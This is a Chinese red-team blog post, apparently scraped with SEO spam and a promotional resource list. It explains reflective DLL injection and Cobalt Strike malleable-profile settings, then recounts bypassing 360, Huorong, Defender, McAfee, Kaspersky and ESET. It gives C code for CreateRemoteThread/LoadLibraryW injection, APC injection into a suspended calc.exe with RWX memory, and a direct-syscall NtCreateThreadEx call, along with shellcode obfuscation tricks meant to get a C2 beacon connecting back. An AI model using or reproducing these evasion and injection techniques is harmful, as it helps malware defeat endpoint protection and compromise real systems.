网站宣传营销,腾讯云域名交易平台,自助建站系统网站建设系统网站建设网站建设,渭南上上国风引言
本文主要介绍“反射型 dll 注入”及“柔性加载”技术。
反射型 dll 注入
为什么需要反射型 dll 注入
常规的 dll 注入代码如下#xff1a; int main(int argc, char *argv[]) {HANDLE processHandle;PVOID remoteBuffer;wchar_t dllPath[] TEXT(C:\\experimen…引言
本文主要介绍“反射型 dll 注入”及“柔性加载”技术。
反射型 dll 注入
为什么需要反射型 dll 注入
常规的 dll 注入代码如下 int main(int argc, char *argv[]) {HANDLE processHandle;PVOID remoteBuffer;wchar_t dllPath[] TEXT(C:\\experiments\\evilm64.dll);
printf(Injecting DLL to PID: %i\n, atoi(argv[1]));processHandle OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));remoteBuffer VirtualAllocEx(processHandle, NULL, sizeof dllPath, MEM_COMMIT, PAGE_READWRITE); WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath, sizeof dllPath, NULL);PTHREAD_START_ROUTINE threatStartRoutineAddress (PTHREAD_START_ROUTINEGetProcAddress(GetModuleHandle(TEXT(Kernel32)), LoadLibraryW);CreateRemoteThread(processHandle, NULL, 0, threatStartRoutineAddress, remoteBuffer, 0, NULL);CloseHandle(processHandle);
return 0;}复制代码 主要做了几件事情 从磁盘读取 dll 到 wchar_t 数组 将该 payload 数组写入目标内存 在目标内存中找到 LoadLibraryW 函数 通过 CreateRemoteThread 调用 LoadLibraryW 函数参数为 dll 在内存中的地址。 这样的操作模式有几个很高危的点。首先从磁盘读取 dll 需要考虑 dll 的静态免杀对此我们可以直接写在装载器中并加密。 其次在目标内存中找到 LoadLibraryW 函数需要 GetProcAddress LoadLibraryW这种调用属于很有特征的调用模式容易被 AV/EDR 归类。对此我们的解决措施就是接下来要提及的反射型 dll 注入技术。 最后CreateRemoteThread 进行远程线程注入 行为本身就很高危同时参数是 LoadLibraryW 的地址一眼 malware。 对此我们优化调用不再使用 CreateRemoteThread 进而使用创建新进程的方式结合反射型 dll 注入技术改变 dll 注入技术的调用模式。
实现思路
早期的 dll 注入实现原理 上图比较清楚的写了反射型 dll 注入的原理123 步由 A 向 B 线程写入 dll。第四步调用 B 线程中的 embedded bootstrapper code。最后通过 bootstrapper shellcode 调用 dll 的导出函数 reflective loader。 reflective loader 实际上是一个自己实现的 LoadLibraryW 函数从内存中找到我们写入的 dll 并修复使其成为可以被正常使用的 pe 文件最后调用 DLLmain 实现我们的恶意功能。 我们的具体实现和上面早期的思路有所区别首先我们不使用远程进程/线程注入的方式其次我们不需要 bootstrapper shellcode 这个部分我们可以直接在加载器部分算出 reflective loader 在内存中的地址直接调用即可。 【一一帮助安全学习所有资源【网络安全】红队攻防之基础免杀【一一帮助安全学习所有资源 ①网络安全学习路线 ②20 份渗透测试电子书 ③安全攻防 357 页笔记 ④50 份安全攻防面试指南 ⑤安全红队渗透工具包 ⑥网络安全必备书籍 ⑦100 个漏洞实战案例 ⑧安全大厂内部视频资源 ⑨历年 CTF 夺旗赛题解析 具体实现
加载器部分 首先 shellcode 使用 AES 解密这部分添加了一些 c 的代码加密 后来发现原本项目的 release 目录下有 python 的加密脚本 解密载入内存后使用 GetReflectiveLoaderOffset 计算出 ReflectLoader 函数的偏移: 最后创建线程调用 ReflectLoader 函数。
dll 部分
ReflectiveLoader 一共做了 5 件事 一、 解析加载 DLL 所需 kernel32.dll WINAPI 的地址(例如 VirtualAlloc, LoadLibraryA 等),通过关键函数的 hash 在内存中搜索函数 hash 遍历内存进行搜索 二、 将 DLL 及其相应的节写入内存中 三、 建立 DLL 导入表以便 DLL 可以调用 ntdll.dll 和 kernel32.dll WINAPI 四、 修复重定位表 五、 调用 DLL 的入口点: 最终我们的恶意代码位于 dllmain 中项目还是采用加载 shellcode 的方式上线 cs。
柔性加载
限制使用具有 RWX 标记的内存cs 在 4可以直接进行相关配置。 推荐配置 set startrwx false;set userwx false;set cleanup true;set stomppe true;set obfuscate true;set sleep_mask true;set smartinject true;复制代码
牛刀小试
360
使用 base64xor 混淆 shellcode 成功 bypass: 火绒
和上述方法相同: definder
加强 shellcode 的混淆 std::string rest2_reference xxx;std::string rest3_reference replace(rest2_reference, , );复制代码 依旧报毒但是类型发生改变了说明静态的混淆有效果 异或的操作比较可疑经过测试发现是 cs 的 shellcode 出现在数组里就报毒应该是对内存进行的扫描。 所以我们可以使用《文章二》中提及的技术“规避常见的恶意 API 调用模式”将 shellcode 分片直接写入连续内存。 在测试的过程中发现莫名其妙的过了查杀: 很神奇这段并没有实现内存的切片写入因为 shellcode 的大小没有达到 4096实际上相当于直接分配了个大小为 4096 的数组写入了 shellcode。 而且把这段代码相同的格式放外面就不行个人感觉 definder 还是没有去检查内存。 可能是有语义分析的引擎这次刚好绕过了语义分析。
macfee
同上方法可以成功 bypass 正常执行命令 kasperky Endpoint 11 for windows
用过 macfee 和 definder 的 demo2 测试失败注释掉代码加载部分不报毒改用 apc 和创建进程的的方式加载内存 SIZE_T shellSize 4096;STARTUPINFOA si { 0 };PROCESS_INFORMATION pi { 0 };
CreateProcessA(C:\\Windows\\System32\\calc.exe, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, si, pi);HANDLE victimProcess pi.hProcess;HANDLE threadHandle pi.hThread;
LPVOID shellAddress VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);PTHREAD_START_ROUTINE apcRoutine (PTHREAD_START_ROUTINE)shellAddress;
WriteProcessMemory(victimProcess, shellAddress, exec, shellSize, NULL);QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);ResumeThread(threadHandle);复制代码 依旧不行 使用 syscall 调用 NtCreateThreadEx。这里被坑了WaitForSingleObject 要使用不然会异步没法上线 ANtCTE( hThread, THREAD_ALL_ACCESS, NULL, GetCurrentProcess(), (LPTHREAD_START_ROUTINE)exec, NULL, NULL, 0, 0, 0, nullptr);WaitForSingleObject(hThread, INFINITE);复制代码 能看到效果,行为检测依旧有问题: 但漏洞利用防御已经没有相关报警: 怀疑是 cs 本身流量特征的问题为了验证我使用卡巴斯基本身的功能禁用了网络请求 确实不杀也不报警了确定是 cs 通信的问题。
ESET Endpoint Security
demo3 报警并且明显检测到网络连接行为 静态没有问题 主要应该还是在对内存的检测而且感觉已经执行到了发包 下面根据《三》中的“beacon 的内存加密”对 demo3 进行优化,使用 RefleXXion 工具的第二种将内存设为 NO_ACCESS 并通过注册异常处理还原的方式进行免杀。 设置流量的白名单 关闭 web 控制后成功并上线 eset 在持续在扫描内存但一直没有权限一直触发异常无法进入正常的后门逻辑 能绕过内存的检测但无法正常使用 感觉 ESET 一直在我程序里进行内存操作访问到了不可访问的内存段。 可能 ESET 的机制是一直在扫描程序内存也可能是想要做一些 hook。 我尝试使用 RefleXXion 的第一种方法将 shellcode 加密并使属性为 RW 或 RX 的方式加载 shellcode: 可以成功上线并且正常使用 总结
该系列文章所有的 bypass edr 方法都只在用户态进行操作已经能规避大多数 AV/EDR 的检测。但不乏一些 edr 进行了比较多的内核层面的限制如炭黑、fireeye 等。
